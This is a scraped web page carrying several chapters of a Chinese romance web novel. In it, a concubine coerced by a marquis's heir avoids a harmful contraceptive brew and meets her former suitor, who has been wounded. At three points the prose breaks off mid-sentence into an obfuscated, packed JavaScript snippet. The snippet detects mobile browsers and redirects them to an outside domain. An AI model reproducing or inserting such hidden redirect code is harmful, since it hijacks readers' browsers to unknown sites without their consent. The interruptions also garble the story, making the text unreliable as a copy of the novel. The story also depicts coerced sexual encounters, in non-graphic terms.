他快步走过去,伸手轻轻将人按回被子里,轻声道:“再睡会儿,不急着起。” 沈清念又挣扎着要起,声音还有些沙哑:“不成,刘嬷嬷还在外面等我学规矩呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“红玉,什么时辰了?” 红玉见沈清念醒了,才转身将蜡烛点亮,又来到沈清念跟前,扶着她坐起来:“姨娘,现在是某时了。” 才某时,难怪屋子里还要点灯。 沈清念只觉得浑身困倦,又想缩回被子里去歇着。 这几日,她都没有睡过一个安稳的觉。 “姨娘,得起了。” “今儿是您作为姨娘,第一次去给老夫人和夫人敬茶的日子。” 沈清念才又睁开了眼皮,心里叹了一口气,觉得烦躁。 都怪谢宴之! 前两日因着她身子的原因,老夫人和夫人便免了她问安。 这观澜居还没有主母,她成了谢宴之的妾,自然是这观澜居的女主人。 在主母进门之前,晨昏请安,都得她去。 红玉又去柜子里找了身粉底素面的衣裳给沈清念穿上。 玉竹则端着热水进来,放到了隔间的架子上。 沈清念任二人服侍着洗漱好,简单梳了一个头,便跟着出门了。 门一开,院子里还是黑洞洞的,只有边上的长廊里有着几盏昏黄的灯。 风一吹,烛火明明灭。 沈清念走出门去,雾气扑面而来,凉凉的,让沈清念打了个寒颤。 她拢了拢披风,冒黑去了问心堂。 沈清念带着两个丫头进来,见老夫人正坐上首,大夫人薛氏坐在右侧,谢宴之坐在左侧。 见她进来,谢宴之摸了摸手上的扳指,面色平平。 沈清念规规矩矩行了一个礼,等着刘麽麽端茶过来。 大夫人见她未施粉黛,脸上却是玉净花明的,不知是不是承了欢的原因,那双眉眼里还带着些从前没有的春情与妩媚。 薛氏暗道这再贞洁女子,经历了那事,也终究是不一样了。 整个人光是这样看着,都有一种难以言喻的娇媚。 老夫人看她头发的样式也是简简单单的,身上也没什么多的首饰。 是一个妾室该有的装扮,既不喧宾夺主,又不过分朴素。 正低垂着眉站在那儿,光看着就让人觉着乖巧。 看来这两日刘麽麽教导得很是不错,老夫人心里很是满意。 刘麽麽从旁端了茶过来,示意沈清念敬茶。 沈清念连忙垂着头端过来,恭敬地双手捧着递到老夫人面前:“老夫人请喝茶。” 老夫人端过茶盏浅浅喝了一口,满眼含笑,又从身后拿出一个早已准备好的盒子递过去:“你如今也是宴哥儿的人了,那些事儿都顺着些宴哥儿,可不能再胡闹了,记住了吗?” 沈清念听了这话,低下了头。 双手接过盒子,轻声回了一声:“妾记着了。” 谢宴之端起茶盏,看沈清念低垂着眉眼,听了老夫人的话后,耳尖泛红。 他挪开了眼,轻轻抿了一口茶后,又放下茶盏,未曾说一句话。 沈清念又递了一杯给大夫人薛氏:“大夫人,请喝茶。” 薛氏接过来轻抿一口,也让身后的丫鬟给了一个盒子过去:“这个你也收着,往后要尽心伺候宴哥儿。” 沈清念接过盒子,又道了谢。 这时,谢宴之站了起来,对着老夫人和薛氏拱手:“若祖母和母亲无事,我便去上值了。” 老夫人笑着摆手:“去吧,去吧。” 谢宴之转过身来,拉起沈清念的手,要带她一同离去。 沈清念有些惊讶地看了眼谢宴之,又回过头看了一眼老夫人。 老夫人笑道:“去吧去吧,宴哥儿这刚得了人,正是稀罕的时候。” 闻言,谢宴之扯了一下沈清念的手,将人带出了问心堂。 谢宴之一路上一直握着沈清念的手,从问心堂穿过花园,遇着人也未曾放开。 一路上遇着的丫鬟小厮,眼里都是惊讶,纷纷低着头,等着两位主子过去。 沈清念一直低着头,任由谢宴之拉着她。 红玉和玉竹隔着一段距离跟在后面,两人心里都替沈清念高兴。 她们的姨娘多得大公子的宠爱! 这往后的日子,都是有盼头的好日子。 谢宴之当众拉着姨娘在府中溜达这事,很快传遍了府上。 现在全府上下都知道这位姨娘在大公子心中的分量。 只是到谢宴之停下时,沈清念抬头,才发现他们并不在观澜居。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459044|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而是在观澜居边上的院子——玉恒居。 沈清念抬头问谢宴之:“夫君,我们到这里做什么?” 谢宴之松开了她的手:“进去看看。” 沈清念看着他有些神秘地样子,上前推开了门,见里面虽比不上观澜居大,却也比浅月居打了两倍不止,屋子也是雕栏画栋,中间还有假山池子,往外连着廊桥,可直到观澜居。 红玉和与玉竹见这院子透着雅致,又与观澜居相连,心里又是一阵激动。 这院子大公子可从没让人来住过,对姨娘是真的不同。 沈清念走到主屋,见屋内家具摆放一应俱全,都是她喜欢的梨花木。 架子上摆放着古瓶瓷器,墙上挂着名家画作。 处处布置都透着风雅。 一看就是花了不少心思的。 且还另有一个隔间,放着许多箱笼。 红玉上前打开看了看,里面放着好几身衣裳,并一些首饰。 一旁放着一张梳妆台,所有物件儿齐全,想是特意备好的。 更令沈清念惊讶的是,那角落边有一面很高的铜镜,竟可以将人的全身的映在其中。 沈清念正在惊讶之时,谢宴之已经来到了她身后,轻轻抱住了她。 欣赏着镜中两人的身影。 “喜欢吗?” 谢宴之咬着她的耳朵,轻轻问到。 “这屋子是为我准备的?”沈清念转头,正好对上谢宴之的唇。 “嗯。” 这院子,从第一次说要纳她为妾,就已经着手备着了。 如今,它终于迎来了它的主人。 沈清念有些惊讶,又发现二人的隔得太近,她的唇近乎碰到了他的下巴。 她赶紧低下头,想要避开他灼热的气息。 谢宴之一把捧住沈清念的脸,将人抵到墙上,狠狠吻上了那抹红唇。 她好不容易主动送上门,他又怎可轻易放过? 隔间里传来声音,红玉和玉竹脸上一红,识趣儿地退了出去,还体贴地关上了门。 “专心些,你看你多好看。” 沈清念顺着谢宴之的目光看过去,见二人重叠的身影映在镜子里,她脸上的红晕像诱人的石榴。 她羞窘得只想逃开谢宴之的怀抱。 只是不等沈清念反应,谢宴之又抵了上来…… 第一百四十五章 他索取得越来越过 谢宴之吻得炙热,含着嘴唇已经不能得到满足。 他索取得越来越过,沈清念用手轻轻推着他。 她已经快要无法呼吸。 谢宴之察觉到她的不适,竟那不安分的小手握住。 凑到脖子上去吸取她身上淡淡的香。 沈清念有些喘不上气,弱弱道:“你……你不是要去上值吗?” 谢宴之听完,丝毫没有停下动作,只是重重的喘息道:“今晚我值夜,不能回府。” 他又在她的脸上落下个又急又烫的吻:“现在时辰还早,把夜里要做的事先做了。” 沈清念仍是推拒着,脸上又羞又臊。 **的,红玉她们还在门口,让她如何也做不出来这样荒唐的事来。 谢宴之将她翻了个身,在耳边哄道:“这次我快一些。” 沈清念怎么也没想到,谢宴之竟隔着衣裳就将她要了。 情到深处时,只听到沈清念呢喃了一声:“你…你轻一些。” 待谢宴之神清气爽地走出屋子后,沈清念才趴进浴桶里。 红玉替她拿了换洗的衣裳,又红着脸将谢宴之胡乱扔在地上的巾子捡起来,扔进筐中,让洗衣裳的婆子拿去清洗干净。。 沈清念见着,脸又是红了一片。她用手拾起水中的一片花瓣,脑中思索着她与谢宴之的事。 现如今,她是他的人已是事实。 她也不想惹恼他,苦的是自己和身边的人。 只是以后,真要留在这样一个强迫了自己的人身边吗? 沈清念又看到膝盖上的一团团乌青,那是刘麽麽教她学规矩那日弄的。 这府上人人都提醒她要做到一个妾室的本分,将来要伺候后主母和谢宴之。 可沈清念知道,将来主母进府,她的日子怕是只会比现在艰难许多。 没有那个正室喜欢自己的夫君跟别的女子耳鬓厮磨。 沈清念扪心自问,她不想要这样的日子。 将来,她还是要离开侯府的。 这样想着,她缓缓起身,擦干了身子。 今儿起得太早,又被谢宴之折腾了一番,她实在是有些困倦。 便索性让红玉铺了床,又躺回去,歇了会儿。 再睁开眼,就见红玉站在床边:“姨娘,起来喝药了。” 沈清念一时没反应过来:“喝什么药?” 红玉转身,端过来一碗黑漆漆的药汁。 “避子汤啊。” “主母进府前,您不能有孕。” 沈清念这才想起来,毫不犹豫地端过来,准备喝。 却在其中嗅到了一大股浓烈的红花味。 她用手挡住鼻子,将药递给了红玉:“这避子汤是哪来的?” 红玉端着药,又些为难。 姨娘这是不想喝药,想在主母进府前,就孕育子嗣? 可是这能行吗? “这药是老夫人屋里的麽麽拿来的。” 沈清念眉头一皱,这避子汤红花加的那样重,她时常服用,怕会伤了根本。 将来难在有孕。 她不想与谢宴之有孩子,但她不能生不出孩子。 “我要出府一趟,亲自去配避子汤。” “那这碗……?”红玉犹豫着问道。 沈清念端着碗,走到雕花窗下,将药全倒在了花圃里。 “以后这药,都给它喝了吧。” 沈清念将空碗递给红玉,又坐到了梳妆台前。 只是,她要如何出府呢? 谢宴之不在府中,她要去哪里拿腰牌呢? 正想着,看到梳妆台上的那两个盒子,有了主意。 老夫人午睡后,刘麽麽就禀告道:“老夫人,清姨娘来了。见您还歇着,就在外候着了。” “已经等了好一会儿了。” 刘麽麽自从那次被谢宴之罚了,现在可不敢怠慢沈清念。 她又躬身过去,将老夫人扶了起来。 再替老夫人挽了头发,戴上了帝王绿的翡翠抹额,才慢慢走出里间。 沈清念原本就是规规矩矩坐在椅子上的,这下见老夫人出来,忙起身行礼。 “老夫人。” 老夫人在上首坐定,脸上带了几分笑:“清丫头怎么过来了?” 沈清念转身,拿起桌上的食盒,打开盖子,端出里面的福寿糕,恭敬地递到老夫人跟前。 “老夫人赏了妾那样贵重的耳坠,妾无以为报,便做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465243|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些糕点给老夫人。” 老夫人眼神看向刘麽麽,刘麽麽伸手接了过来。 那福寿糕看着就软软糯糯,还有一股清香入鼻。 老夫人轻轻拿起一块,咬了一小口,入口即化。 她用绢子擦了擦嘴角,笑着道:“你这孩子,有心了。” 她又端起茶盏,喝了一小口茶水,又开口:“宴哥儿的生母去得早,他父亲又时常不在身边,宴哥儿这才性子冷漠了些。” “也不轻易亲近旁人。” “你如今既在宴哥儿那儿得了脸面,就好生伺候着。他不是那种薄情寡义的性子。” “若喜欢你,便会一直喜欢。” 老夫人又对着沈清念招了招手,示意她靠近一些,又拉着她的手,轻声道:“你的福气还在后头!” 沈清念乖顺地低下了头,脸上带着乖巧的笑。 似乎老夫人的话,让她开心,却又克制着,不敢表现得太明显,只轻轻点了一个头。 老夫人握着她的手传来一阵温暖,眉眼里又带着慈祥的笑。 任谁也不会想到,这样慈祥的老太太,竟想让她日后难以生育。 她看了老夫人一眼,又羞涩地低下头,小声说道:“夫君想要妾绣个荷包给他,我想绣双面的金丝绣。” 老夫人一听,脸上的笑更甚了。宴哥儿还是有些手段的,将人收得服服帖帖的。 这清丫头也算是知道宴哥儿的好了,心里也开始想着他了。 她以为沈清念是想找她讨要金线,笑着道:“我老婆子这儿可没金线,等下让刘麽麽出府买一些,再给你送去。” 沈清念一副被她看穿的样子,轻声道:“我想和麽麽一起去,夫君还嘱咐我买些别的东西。” 老夫人看了眼刘麽麽,眼中带着些意味深长:“好,那就一起去,再一起回来。” 后面那两字咬得重,刘麽麽心知老夫人是怕这清姨娘跑了,让她把人看住了。 而沈清念也不在意老夫人后面那句嘱托。 她这次本就不打算逃跑。 只是刘麽麽跟着,她得想个法子避开她。 这样想着,人也跟着刘麽麽往府外走去。 第一百四十六章 故作娇嗔 红玉也跟着沈清念一起来到马车前。 她正欲上前扶沈清念上马车,一旁的刘麽麽已经侧身,从车板上拿下厢凳放在马车旁。 又替沈清念打起了车帘,然后恭敬地对着沈清念道:“清姨娘,请上车。” 红玉没想到刘麽麽如今在清姨娘面前,姿态已经这样卑微。 全然看不出那日气焰嚣张的样子。 她也知道,都是大公子替姨娘撑了腰。 红玉轻轻瞥了一眼沈清念,自家姨娘的才貌和身段儿都是一绝。 只要姨娘好好固宠,至少在主母来之前,日子都会过得很好。 她们这些做下人的,也能跟着轻松些。 见刘麽麽已经做足了功夫,红玉走到沈清念旁边,伸出手,让沈清念扶着上车。 沈清念见刘麽麽略显殷勤的样子,步子顿了顿。 此时刘麽麽低着头,姿态谦卑,不知道的,还以为她就是她的主子。 看着刘麽麽这与前日那判若两人的态度,她心里也有了数。 是谢宴之那日罚坐的余威还在起作用。 看刘麽麽小心翼翼地抬着帘子,沈清念心里也叹了口气。 她和她一样,都是忌惮着谢宴之。 做妾的和她这奴婢的又有什么区别? 她微微颔首,一手提着裙摆,一手搭在红玉的手背上,踩着厢凳子,躬身入了车厢里。 红玉踩着厢凳也欲望往里去,刘麽麽立刻放下了帘子,睨着眼看着她,头往车板的方向偏了偏。 她现在是不敢再给沈清念甩脸子,但不代表她身边的丫头,她也必须顾忌着。 好歹她也是伺候老夫人的人,那身份地位比不过一个宠妾,还能比不过一个二等丫鬟吗? 红玉见状,低头自觉地坐到了车板上。 刘麽麽则坐在挨近帘子的地方,替老夫人好好看住沈清念。 待人都做好后,马夫才驾着马车行驶起来。 马车缓缓驶离了一段距离后,身后一个影子快速地跟了上去。 沈清念掀起帘子一角,看着外面的情形。 有小贩在叫卖货物,也有老者背着小娃娃逗弄,一切都是那么鲜活。 不像她,整日关在府里,了无生气。 车子很快停在了一家丝线坊。 刘麽麽又是很快放好了凳子,扶着沈清念下车。 沈清念站在门口看了看,这家丝线坊看起来比旁的两家要气派得多。 光论金线,旁的铺子都当镇店之宝好好供起来。 而这铺子的颜色都有十几种,还全都那样摆在架子上,任客人挑选。 刘麽麽看沈清念一直瞧着,便躬身上前:“这家丝线坊,丝线只供京城里的达官贵人。普通人可是连门都进不去。” “您要给大公子绣荷包,自然也要用这顶好的丝线。” 沈清念轻轻点头,拢着袖子,进了铺子。 掌柜的初看沈清念,一身粉色素花衣裳,身上没有多余的首饰,想来身份不高。 他又朝沈清念身后的马车看了看,看到了那车架上,靖南侯府的标志。 再看那刘麽麽,是靖南侯府老夫人跟前儿的人,待这位娘子却毕恭毕敬。 他心里也就有了数。 “娘子请进。”掌柜的脸上堆了笑,将人迎进了铺子里,又看了眼伙计。 那伙计心领神会,赶紧搬来了软凳,还有茶水茶点。 沈清念坐下后,柔声道:“掌柜的,我想买些顶好的金线,为我家夫君绣只荷包。” 掌柜的笑道:“娘子的夫君真是好福气。” “铺子里顶好的丝线都在楼上,请娘子与我来。” 沈清念点点头,转身欲跟着上去。 却见刘麽麽也起身要跟上来,沈清念定住了脚步。 察觉身后之人没有跟上,掌柜的转身,心里也有些明白了。 他拱手对着刘麽麽道:“劳烦麽麽就在这儿吃些茶水吧。” 沈清念这时也对着红玉吩咐道:“你去东大街买两份儿栗子糕来。” 红玉心领神会,点了点头,随后出了铺子。 刘麽麽看沈清念也没让红玉上去,心里才觉着平衡了些。 她也知道,楼上是贵人们才能去的地方。 总之,这铺子只有一个门,人在二楼肯定跑不了的。 这样想着,她便转身,坐回了椅子上。 掌柜的这才带着沈清念上了楼,端来一盘丝线:“娘子且在此处慢慢选,有看上的,招呼一声,就会有伙计过来。” 然后又拱手道:“我就先不打扰了。” 说完,便下楼去了。 沈清念看着眼前的金线,颜色比楼下的更多更鲜艳,成色也要好上一倍。 她有些可惜,这样好的丝线,却是要用来给谢宴之做荷包! 她虽说是出来买药的,可既然说了要绣个荷包给谢宴之,那就要做足全套功夫。 这样想着,沈清念在木盘中仔细挑选起来。 她没发现,身后有人正迈着轻盈的步子,在慢慢向她靠近。 他看着她白皙的手指,拿起一卷丝线,对着光仔细看了看,摇了摇头,似乎并不满意。 又低下头,拿起来另外一卷丝线看了起来。 柔和的光映在她的脸上,显得温柔娴静。 他的心下柔软起来。 “哪一卷适合我?” 身后的人突然出声,吓得沈清念手中的丝线掉落在地。 那线滚落到脚边,谢宴之弯腰,将丝线捡了起来,又朝着沈清念走过去,将线放在了她的手中。 随后,在她边上坐了下来。 “夫君!你怎么在这里?”沈清念满眼诧异。 早上二人分开之时,谢宴之才说去上值,怎么现在就在这丝线坊内。 谢宴之并不理会她的话,只是将人抱了过来,坐在腿上,凑到她耳边轻声问:“怎么忽然想起要给我绣只荷包了?” 听谢宴之这样说,沈清念心里有些紧张。 可随即一想,她只是让红玉去抓药,又没有做什么别的事,倒也不怕他盘问。 沈清念将头抬眸看向他:“你都听到了?” 随即又低下头,捏着手中的绣帕,有些委屈道:“本是想着给夫君一个惊喜的。” 谢宴之看着眼前的人儿,这委屈的模样有些可爱,嘴角扬起了一丝弧度。 她伸出手指,抬起她的下巴:“你是在怪夫君提前说破你的心意了?” 沈清念忽地起身,离开了谢宴之身上,故作娇嗔:“夫君还没说呢,怎么来了这妇人才来的丝线坊了?” 她心里隐隐猜测,难道谢宴之是在跟着她? 不过转念一想,又觉着不大可能。 若是派人跟着她,她又并未逃跑,他是不必现身的。 这本就是他的铺子,他如何不能来了? 只不过连老夫人都不知,他也没打算告诉沈清念。 他又想到今日来这儿的目的,眼底闪过一丝冷意:“我来此地抓人的。” “抓人?”沈清念听后,放下心来。 原来是来办差事的。 正想着,就听见楼下传来刀剑相接的声音。 还有刘麽麽的尖叫声。 再看谢宴之,还是一副胜券在握的样子,悠闲得拿起沈清念刚刚滚落在地的那卷金线。 是碧色的,沈清念最喜欢的颜色。 不过,她只是喜欢将这颜色贴身穿着。 “我的荷包,就用这个绣。”谢宴之伸出手,将金线递了过去。 沈清念听了话,心道都这时候了,谢宴之还有心思想这个。 她接过那卷金线,“那贼人来了,夫君不下去看看?” 谢宴之看了她一眼,眯着眼冷声道:“无妨。” 他的人早已埋伏在下面,只要那人一出现,就会上前将人拿下。 听着楼下的打斗声已经转移到了街上,沈清念壮着胆子向窗边挪去。 想要去瞧瞧底下的情形。 谢宴之兀地睁开眼,见那道身影正要伸手推窗,他厉声道:“过来!” 沈清念见他神情严肃,脸上似带了些怒意,只好收回了手,过来立在他身旁。 直到外边没了声响,谢宴之才起身:“金线的银钱,记在我的账上,早些回府去。” 他又看了看她手中的丝线:“早些将荷包做好,夫君等着。” 说着,便下楼去了。 沈清念没想到买个丝线,都能碰到谢宴之办差。 看来她以后要想从谢宴之的身边离开,得做足万全的准备。 她拿着挑好的丝线到下楼去,想看看刘麽麽怎么样了。 就见刘麽麽坐在桌边,人还有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469556|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哆嗦。 “刘麽麽,您没事吧?”沈清念走过去,在她身边坐下。 刘麽麽看见沈清念才回过神来。 方才她本在那里喝茶,嗑着瓜子。 正瞅见一翩翩公子带着侍从门口进来,外面就忽然出现几个侍卫打扮的人。 二话不说,拔刀就砍了过去。 其中一人躲闪不及,眼看就要中刀,却被那公子推开。 反倒是那公子肩膀生生中了一刀。 一时间,那鲜红的血一股脑往外冒。 她见那情形,险些两眼一黑,栽到地上。 “清姨娘,老奴无事。只是方才见了血,觉着心里还有些发闷。” “血?可是那贼人受了伤?” 刘麽麽听见沈清念这样问,有些不解,她想着沈清念方才在楼上,没看见楼下的情形。 “哪是什么贼人呀,是为俊朗的公子哥。” “那些人上来就将人围住,抽出刀来**。” “结果发现是砍错人了。” 沈清念听着,觉得有些不对劲。 谢宴之在感情的事上很是差劲,办起差来,却不会糊涂。 她觉得这事有些不对。 “那公子是谁?要是世子真抓错了,就遭了。” 刘麽麽又是一愣,她才想起她躲在桌下时,见到大公子从楼上下来,径直朝着外门追人去了。 她还纳闷,她方才一直坐在楼下,大公子是什么到楼上去的? 原来大公子是早就在楼上,等着抓人了。 刘麽麽拍了拍脑门,好好想了想,又一跺脚:“老奴记起来了,那公子是姓萧!” “老奴还听他喊了一声平安。” 方才他们打斗了一会儿,那公子取下腰间的腰牌,给侍卫看过。 刘麽麽看到那腰牌上,写着一个萧字。 听到这话,沈清念的脸色一下变得苍白起来。 她的心狠狠揪了起来。 萧怀意为何会出现在这儿?谢宴之又刚好在这里抓人,还抓错了人。 怎么会这般凑巧? 难道萧公子是来这里寻她的? 而谢宴之不想他们二人见面,所以将萧公子砍伤了? 沈清念紧紧捏住了手中的金线,指节都泛起了白。 “那公子伤得可重?” 沈清念又急着问道。 问道这个,刘麽麽的脑中又是血飞溅在眼前的场景。 “那公子流了好多血!” 闻言,沈清念的心,如针扎一样疼。 这边,平安焦急地驾着马车,要将萧怀意送到医馆去。 那人冲过来时,若不是他一时没反应得过来,公子也不会受伤。 平安心里很愧疚。 想着又狠狠抽了马屁股一鞭子。 前方巷口忽然出现一个身影,他急忙拉停了马车,才发现是谢宴之骑马挡在了胡同口。 “不知世子这是何意?” 平安朝着谢宴之问道。同时一手拉着缰绳,一手按着腰间的佩刀。 车内的萧怀意闻言,掀开帘子走了出来。 平安见自家公子脸色苍白,肩上的伤处还在溢血,他上前将萧怀意挡在身后。 谢宴之冷冷开口:“怀意,我说过,不要再对她动心思。” “刀剑无情,下次就不是砍在肩上了。” 说完,拉了缰绳,调转马头,出了胡同口。 萧怀意没有说话,只是站在原地看着谢宴之离去的方向。 袖中的手紧握成拳。 他派人盯了这许久,才寻到这一个机会见见沈姑娘。 谢宴之想这样就将他吓退? 平安见状:“公子,快到车里去,我们去医馆。” 萧怀意点点头,他还要赶着去见沈姑娘,这伤不包扎好,也怕她看了担心。 丝线坊内,沈清念和刘麽麽坐在凳子上,一眼就看到红玉带着栗子糕回来了。 她朝着沈清念微微点头,又晃了晃手中的两个纸包。 沈清念立即起身:“走吧。” 刘麽麽又将红玉拦在了车厢外,红玉将手中的纸包递了进去,对沈清念道:“姨娘,栗子糕给您,现在一定要趁热吃。” 说着,还特意看了一眼那栗子糕,然后才放下了帘子。 沈清念觉得红玉的话,好像是意有所指。 她伸出手,将纸包打开了来…… 第一百四十七章 背着我私会外男 一个纸条轻飘飘掉了下来。 沈清念捡起来看了看,眼眶有些泛红。 萧怀意在太湖边等她! 她将纸条拿起来,看了又看,心下有些犹豫。 他们两个如今不便再见。心中的那些期许,也已经成了过眼云烟。 她又想到了萧怀意的伤,以及谢宴之的算计。 目光变得坚定起来。 “刘麽麽,去太湖!” 刘麽麽听了沈清念的吩咐,回了一句:“清姨娘,金线买了也该回府了。” 这表姑娘如今也是大公子的姨娘了,那容貌又如此打眼,实在不适合在外抛头露面。 沈清念捏紧了手中的纸条,语气里带着几分严厉:“尽管去便是,老夫人和世子那里由我去说!” “这……?”刘麽麽还有些犹豫。 “刘麽麽不信我有这个能耐?” “老夫人和世子可并未禁我的足!” 沈清念的声音再次从帘子里传出,明显带了几分不耐。 “是。”刘麽麽心知沈清念不高兴了,只能先纵着她的性子。 若是大公子和老夫人真因这事发了怒,那也是找沈清念撒气,与她可没什么干系。 “去太湖!”跟马夫说了一声后,一路人,再没开口说过话。 过了一会儿,她们的马车就到了太湖边上。 沈清念掀开帘子,看了一眼。 这是她和萧怀意初次见面的地方。 萧怀意还没有来,不知是不是伤势太重,没有法子过来了。 沈清念起身下了车。 红玉见日头有些晒人,便劝说沈清念道一旁的亭子里歇会儿。 刘麽麽见沈清念看着太湖,心里不明白这湖有什么好看的。 有这闲情逸致,还不如费点心想想如何守住大公子的宠爱。 她撇了撇嘴,脸上有些不耐烦。 直到这时,另一辆马车才停在了一边,跟沈清念的车停在一起。 平安掀开帘子,萧怀意忍着肩上的伤,从马车里下来。 他脸上带着笑,尽量让自己看起来没什么事。 刘麽麽见那公子有些眼熟,忽的想起就是在丝线坊见到的那个公子哥。 只是他现在脸色苍白,一看就是身子有恙。 他现在还朝着清姨娘待的亭子来了。 刘麽麽立刻站在身前,挡住了萧怀意想要进到亭子里的步子。 “这位公子,这亭子里的是我们靖南侯府的姨娘,还请公子令寻一处歇息。” 萧怀意看着这婆子护得紧的样子,哑然失笑。 听到姨娘二字,心中更是有些苦涩。 若是那人是他,绝不会委屈沈姑娘当姨娘! 沈清念听见声音回头,看到萧怀意一副大病未愈的样子。 与平日里那清风俊朗比起来,多了几分沧桑。 “萧公子,别来无恙。” “刘麽麽让萧公子过来吧。” 萧怀意见眼前人头上梳着妇人的样式,脸上还是那样温柔娴静。心中有一种恍如隔世之感。 短短两日,他与沈姑娘之间,就出现了这样大的变故。 刘麽麽听了沈清念的话,心中大惊。 清姨娘这时要背着大公子私会外男? 这传出去,大公子的颜面往哪搁? “清姨娘!”刘麽麽在这事上,坚决不肯退让。 要是让老夫人知道她带着沈清念过来与人私会,那就不是简单的事了。 “刘麽麽,别忘了我是主子,你是奴婢。” 沈清念见刘麽麽还是不肯让萧公子过来,有些不悦。 “萧公子,今日让我来,是有何事要说?” 萧怀意见刘麽麽不让,他也不想离沈姑娘那样远。 使了一个眼色,平安抽身身上的佩刀,架在了刘麽麽的脖子上。 “走!”平安胁迫着她,让她往亭外去。 刘麽麽感受上脖子上的凉意,瞬间闭了嘴。 只是眼神满含担忧,生怕沈清念做出什么给靖南侯府丢脸的事。 可她现在又是敢怒不敢言。 毕竟是一把刀架在她的脖子上,一个不留神就能叫她脑袋与身子分家。 平安看了一眼自家公子,将刘麽麽带出了亭子。 为了沈姑娘的清誉,萧怀意并未赶走红玉。 他还是站在凉亭外,两人之间的距离,不会让人心生误会。 红玉见状,心里也松了一口气。 好在这公子还是知礼节,有分寸的人。 萧怀意看向沈清念。 她比之前憔悴了些,眼底疲惫泛青,整个人也没什么精神。 不由地有些心疼:“沈姑娘,你还好吗?” 沈清念闻言,转身不去看他,怕看到萧怀意眼里的深情,自己会装不下去。 她其实过得不好,她不喜欢谢宴之。 厌恶他的强势,他的触碰。 她讨厌府里那些规矩,讨厌妾室这个身份,讨厌清姨娘这个称呼。 她每日每夜都想离开! 她装作看着远处的景色,轻声道:“我很好,夫君待我很好。” 说着,沈清念确定自己已经逼回了眼里的泪,这才转过身,挤出一个笑来,看向萧怀意。 萧怀意眼里的诚挚令她心中刺痛。 萧公子才是她心中的良人,她也想过与萧公子的以后。 他们或许会在通州,他母亲留下的小院中生活,再育一双儿女。 她当铺子的掌家娘子,他就做他的闲散官员。 可现在,因着谢宴之,那一切都不可能了。 她看向萧怀意肩膀的位置,那里,今日因为她,生生挨了一刀,又流了许多血。 以至于他都没了往日的神采。 想到这儿,沈清念的心中又是心痛。 她今日必须将话说绝,不能让他再为了她遭遇危险。 谢宴之就让她一个人去应付好了,万不可再拖累旁人。 夫君二字,令萧怀意有些始料未及,他怔在了原地。 她的性子倔强,又受了那样的强迫。 如今还得听从一个下人婆子的话,半分不得忤逆。 这如何能算好? 她挤出的那抹苦笑,哪里可见谢宴之待她好。 沈清念见他神色里有些震惊与难过,心里也难受得紧。 “萧公子可还有事?” 萧怀意听出沈清念语气里的疏离,上前一步问道:“沈姑娘可曾怪过我?” 若不是他提出让她跟着离开京城,就不会把谢宴之逼急了,强纳了她。 是他害了她。 沈清念微微摇头,淡淡一笑:“即便没有萧公子,我也会那样做。” “只是比原本想的要提前了些。” “不过,我还要感谢萧公子。” “从前我只当表哥强势霸道,如今与他在一起,才知他温柔体贴的一面。” “我心里已视他为我此生唯一的夫君,是我一生的良人。” 沈清念手指紧紧握成拳,她只觉得自己的心被人来回碾压,疼得紧。 她的睫毛颤了颤,低下头,不让眼底的泪被他瞧见。 萧怀意身体一僵,眼神里都是悲怆。 但他还是不愿相信沈清念说的是她的真心话。 他见沈清念方才盯着自己的肩看了好几眼。 她一定是知道自己受伤了,不愿自己再为她涉险。 他的沈姑娘,一直都是那样的温婉善良,替人着想。 又见她手中那白色的一角,她还留着他写给她的纸条! 想到这儿,萧怀意的眸子忽然亮了些,眼神里带着恳切:“沈姑娘,我只想让你知道,无论发生什么,我的心意一直未曾变过。” “从前到现在,我一直心悦着你。” 沈清念闻言,抬眼看过去,萧怀意脸上又是春风化雨般的笑。 仿佛她刚才所说,只是她一人的幻觉。那些伤人的话,好似从未说出口。 可是,她不敢再连累他,最终还是狠下心来: “萧公子,这些话以后莫要再说。” 她声音里带着些颤抖:“可我对萧公子早已无意,你往后莫要再来找我了。” 虽知晓沈清念所说都是违心之言,萧怀意闻言,身体还是一僵。 直愣在原地,没有吐露半个字。 沈清念转身欲走,再这样停留下去,她怕她会忍不住想要去安慰他。 擦身而过的瞬间,只听见萧怀意说了一句:“沈姑娘,说出这些话,你也很是辛苦吧?” 沈清念侧头看向他,眼里满是惊鄂。 